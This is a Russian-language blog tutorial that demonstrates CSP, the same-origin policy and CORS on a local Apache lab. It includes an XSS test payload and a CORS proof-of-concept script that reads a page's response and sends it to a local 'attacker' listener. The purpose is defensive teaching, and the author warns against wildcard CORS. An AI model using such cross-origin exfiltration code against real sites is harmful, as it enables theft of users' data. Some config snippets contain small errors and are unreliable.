Всем привет! Чтобы понять SOP, CORS и CSP, я потратил несколько часов на реализацию всего этого с помощью простого HTML-кода, работающего поверх httpd.. Мотивация, стоящая за этой записью в блоге, состоит в том, чтобы обобщить эти концепции на понятном языке для начинающих, специалистов по безопасности и разработчиков.

Лабораторная установка

Прежде чем мы начнем, позвольте мне объяснить настройку лаборатории. Я размещаю этот код на localhost:8080 через httpd.

<html>
<body>
  <h1>It works!</h1>
 <img src="https://www.w3schools.com/images/lamp.jpg" alt="Lamp" width="32" height="32">
</body>
</html>

Понимание необходимости CSP

Если вы внимательно посмотрите на код, то заметите, что я пытаюсь загрузить изображение из внешнего источника.

https://www.w3schools.com/images/lamp.jpg

Идея заключается в том, чтобы показать, как именно внешние ресурсы могут быть разрешены / заблокированы или контролируемы (изображение — это просто пример, это может быть что угодно, например скрипт). Для этого я собираюсь использовать CSP (Content Security Policy).

Итак, теперь давайте посмотрим, что я хочу ограничить свое приложение и не хочу ничего загружать с https://www.w3schools.com. Я могу перейти на

/usr/local/etc/httpd/httpd.conf

Затем добавьте следующее в файл конфигурации (не забудьте включить a2enmod headers ) просто запустите эту команду в bash, и она активирует модули.

<IfModule headers_module>
Header set Content-Security-Policy: "default-src" 
</IfModule>

Далее я хочу проверить, правильно ли написана моя конфигурация, чтобы мы могли сделать это с помощью apachectl -t . Это по существу анализирует синтаксис и убеждается, что все в порядке!.

Теперь мы можем перезапустить сервер, чтобы увидеть изменения sudo /usr/local/bin/apachectl restart .

Как и ожидалось, изображение исчезло.

Для создания более сложных правил CSP можно использовать https://report-uri.com/home/generate

Теперь давайте добавим еще одно изображение в источник и будем контролировать загрузку только для определенного ресурса. Итак, новый источник выглядит примерно так

<html>
<body>
  <h1>It works!</h1>
 <img src="https://www.w3schools.com/images/lamp.jpg" alt="Lamp" width="32" height="32">
  <img src="https://www.google.com/images/branding/googlelogo/2x/googlelogo_light_color_272x92dp.png alt="Google" width="32" height="32">
</body>
</html>

Теперь я заблокирую google.com и разрешу только w3schools.com, обновив правила в файле конфигурации, как показано ниже, чтобы упростить задачу, я буду использовать Report-URI для создания правила.

<IfModule headers_module>
Header set Content-Security-Policy: "media-src 'https://www.w3schools.com';"
</IfModule>

И, как и ожидалось, это работает! Обратите внимание, что указание субдоменов здесь также будет работать, поэтому допустимо что-то вроде *.w3schools.com.

Таким образом, мы можем сделать вывод, что CSP можно использовать, чтобы позволить доверенным доменам запускать сценарии, загружать изображения, сценарии и т. д. Но это просто говорит мне, как насчет показать мне?

Межсайтовый скриптинг и его исправление без нарушения работы приложения

Чтобы сделать быстрый POC, я использовал https://github.com/cak/XSS-Challenge от @Optionalvalue.

Я буду использовать следующую полезную нагрузку для запуска XSS <x onclick=alert(1)>click this!

Теперь исправим это с помощью CSP и постараемся не сломать приложение. Для этого я обновил конфигурацию до следующей (не используйте unsafe-inline ).

Header Set Content-Security-Policy: "script-src http://localhost:8080/XSS-Challenge/js/index.js ;"

Этот патч ни в коем случае не является исправлением производственного уровня, но идея этого блога состоит в том, чтобы понять, как работает CSP и как он предотвращает XSS.

Этот небольшой POC показывает, насколько сложной может быть правильная реализация CSP. У меня был только один index.js, поэтому мне было очень легко разрешить его, но для рабочего приложения вы можете посмотреть, в каких доменах есть эти сценарии, и разрешить их соответствующим образом.

Подробнее о CSP можно прочитать здесь

СОП и КОРС

Теперь, когда мы понимаем, что такое CSP, я чувствую, что имеет смысл перейти и понять, что такое SOP и CORS и чем они отличаются (часто люди ошибочно принимают их за одно).

Чтобы показать это, я снова возьму тот же пример приложения, развернутого ниже, теперь давайте посмотрим, как внешнее приложение хочет получить данные из приложения-лампы. Что мешает? SOP (такая же политика происхождения), как всегда, давайте проверим это.

Я собираюсь получить данные приложения на другой вкладке с помощью следующего кода и посмотреть, что произойдет.

С уважением, я получил код из этого отчета. Спасибо Рохан Аггарвал.

<!DOCTYPE html>
<html>
<body>
<center>
<h2>CORS PoC</h2>
<html>
<body>
<button type='button' onclick='cors()'>Exploit</button>
<p id='demo'></p>
<script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
var a = this.responseText; // Sensitive data from niche.co about user account
document.getElementById("demo").innerHTML = a;
xhttp.open("POST", "http://localhost:1337", true);// Sending that data to Attacker's website
//xhttp.withCredentials = true;
console.log(a);
xhttp.send("data="+a);
}
};
xhttp.open("GET", "http://localhost:8080/", true);
//xhttp.withCredentials = true;
xhttp.send();
}
</script>
</body>
</html>

Теперь попробуем получить данные по localhost:1337 через python -m server.http 1337 (чтобы посмотреть на фоновые вызовы).

Как и предполагалось, это не работает, глядя на ошибку, ясно, что это связано с «такой же политикой происхождения», так что же можно сделать? «Совместное использование ресурсов между источниками», которое действует как способ ослабить политику SOP. Давайте добавим localhost в белый список, добавив Header Set Access-Control-Allow-Origin “localhost” в httpd.conf.

<IfModule headers_module>
Header Set Access-Control-Allow-Origin "localhost"
</IfModule>

К сожалению, это не сработало, потому что мы не указали правильный URL-адрес, поэтому давайте попробуем с чрезмерно разрешающим подстановочным знаком.

Вот так сейчас выглядит конфиг

<IfModule headers_module>
Header Set Access-Control-Allow-Origin "*"
</IfModule>

В идеале никогда не рекомендуется использовать *, и всегда следует указывать надлежащий источник JS, поскольку источник управления доступом, разрешающий источник, также ожидает протокол и порт, поэтому настоятельно рекомендуется учитывать это. Проще говоря, https://test.com в данном случае не то же самое, что https://test.com:443.

Дополнительную информацию можно найти здесь.

В завершение блога

Я хочу контролировать загрузку моего веб-сайта? CSP.

Я хочу контролировать, что считывается с моего веб-сайта? СОП/КОРС.

Спасибо за чтение!